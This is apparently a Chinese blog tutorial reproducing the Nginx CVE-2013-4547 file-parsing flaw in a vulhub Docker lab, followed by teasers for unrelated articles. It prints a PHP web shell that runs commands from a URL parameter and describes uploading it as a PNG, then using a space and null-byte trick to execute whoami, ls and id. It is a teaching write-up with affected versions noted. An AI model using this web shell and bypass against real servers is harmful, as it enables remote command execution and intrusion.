Nginx文件解析漏洞复现:CVE-2013-4547

devtools/2024/12/22 23:54:49/

漏洞原理

CVE-2013-4547漏洞是由于非法字符空格和截止符导致Nginx在解析URL时的有限状态机混乱,导致攻击者可以通过一个非编码空格绕过后缀名限制。假设服务器中存在文件1. jpg,则可以通过改包访问让服务器认为访问的为PHP文件。

漏洞复现

开启靶场

进入/vulhub/nginx/CVE-2013-4547,启动靶场环境:

docker-compose up -d

然后访问目标主机的8080端口

http://192.168.61.131:8080/

image.png

演示

验证漏洞

先上传正常的png图片,发现上传成功并且会显示文件路径
image.png
试试上传php文件,会不让上传
image.png

上传带有php代码的png图片并且抓包,在文件名后添一个空格,看到返回包中显示了上传成功的文件image.png

<?php phpinfo(); ?>

访问shell.png

http://192.168.61.131:8080/uploadfiles/shell.png...php

抓包把 …php 前面的两个 . 改成一个空格一个截断符
image.png
image.png

image.png

image.png

漏洞利用

上传木马

<?php
$a = $_GET["cmd"];
system($a);
?>

上传带有php代码的图片文件a.png,然后抓包后在文件名后加一个空,看到返回包显示了文件路径
image.png

然后访问下面路径,再进行抓包

http://192.168.61.131:8080/uploadfiles/a.png...php?cmd=whoami

抓包把 …php 前面的两个 . 改成一个空格一个截断符,发现返回包执行了whoami的命令
image.png

执行ls命令
image.png

执行id命令
image.png

执行ping命令
image.png

总结

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

配置不当:该漏洞与 Nginx、php 版本无关,属于用户配置不当造成的解析漏洞。

CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7


http://www.ppmy.cn/devtools/42291.html

相关文章

新媒体运营十大能力,让品牌闻达天下!

" 现在新媒体蓬勃发展&#xff0c;很多品牌都有新媒体运营这个岗位。新媒体运营好的话&#xff0c;可以提高公司品牌曝光、影响力。那新媒体运营具备什么能力&#xff0c;才能让品牌知名度如虎添翼呢&#xff1f;" 信息收集能力 在移动互联网时代&#xff0c;信息的…

uniapp(h5 app) 中 webview和h5通信

1 uniapph5 和h5页面 通信 h5 window.parent.postMessage(message, *); uniapph5 onload中 window.addEventListener(message, function (e) { // 监听 message 事件 //console.log(e.origin) console.log(收到的cocos游戏ID,e.data) …

【MySQL精通之路】InnoDB-启动选项和系统变量

系统变量可以在服务器启动时设置TRUE或FALSE启用禁用&#xff0c;也可以通过使用--skip前缀来禁用 例如&#xff1a; 要启用或禁用InnoDB自适应哈希索引&#xff0c;可以在命令行中使用--skip-innodb-adaptive-hash-index或--innodb-adaptive-hash-index&#xff0c;或者在配置…

华为设备WLAN基础配置

WLAN基础配置之AP上线 配置WLAN无线网络的第一阶段&#xff0c;AP上线技术&#xff1a; 实验目标&#xff1a;使得AP能够获得来自AC的DHCP地址服务的地址&#xff0c;且是该网段地址池中的IP。 实验步骤&#xff1a; 1.把AC当作三层交换机配置虚拟网关 sys Enter system view…

java8总结

java8总结 java8新特性总结1. 行为参数化2. lambda表达式2.1 函数式接口2.2 函数描述符 3. Stream API3.1 付诸实践 java8新特性总结 行为参数化lambda表达式Stream Api 1. 行为参数化 定义&#xff1a;行为参数化&#xff0c;就是一个方法接受多个不同的行为作为参数&#x…

CasaOS系统玩客云安装内网穿透工具实现无公网IP远程访问

文章目录 前言1. CasaOS系统介绍2. 内网穿透安装3. 创建远程连接公网地址4. 创建固定公网地址远程访问 前言 2月底&#xff0c;玩客云APP正式停止运营&#xff0c;不再提供上传、云添加功能。3月初&#xff0c;有用户进行了测试&#xff0c;局域网内的各种服务还能继续使用&am…

前端常用网站合集

常用网站 Node.js&#xff1a;https://nodejs.cn/Npm&#xff1a;https://www.npmjs.com/MDN&#xff1a;https://developer.mozilla.org/zh-CN/前端兼容性自查工具&#xff1a;https://caniuse.com/Vue3&#xff1a;https://cn.vuejs.org/Vue2&#xff1a;https://v2.cn.vuej…

实现计时器

一、计时器 Java的标准库中,为我们提供了 计时器 的实现,让我们先来试着使用它. public static void main(String[] args) throws InterruptedException{Timer timer new Timer();timer.schedule(new TimerTask() {Overridepublic void run() {System.out.println("hell…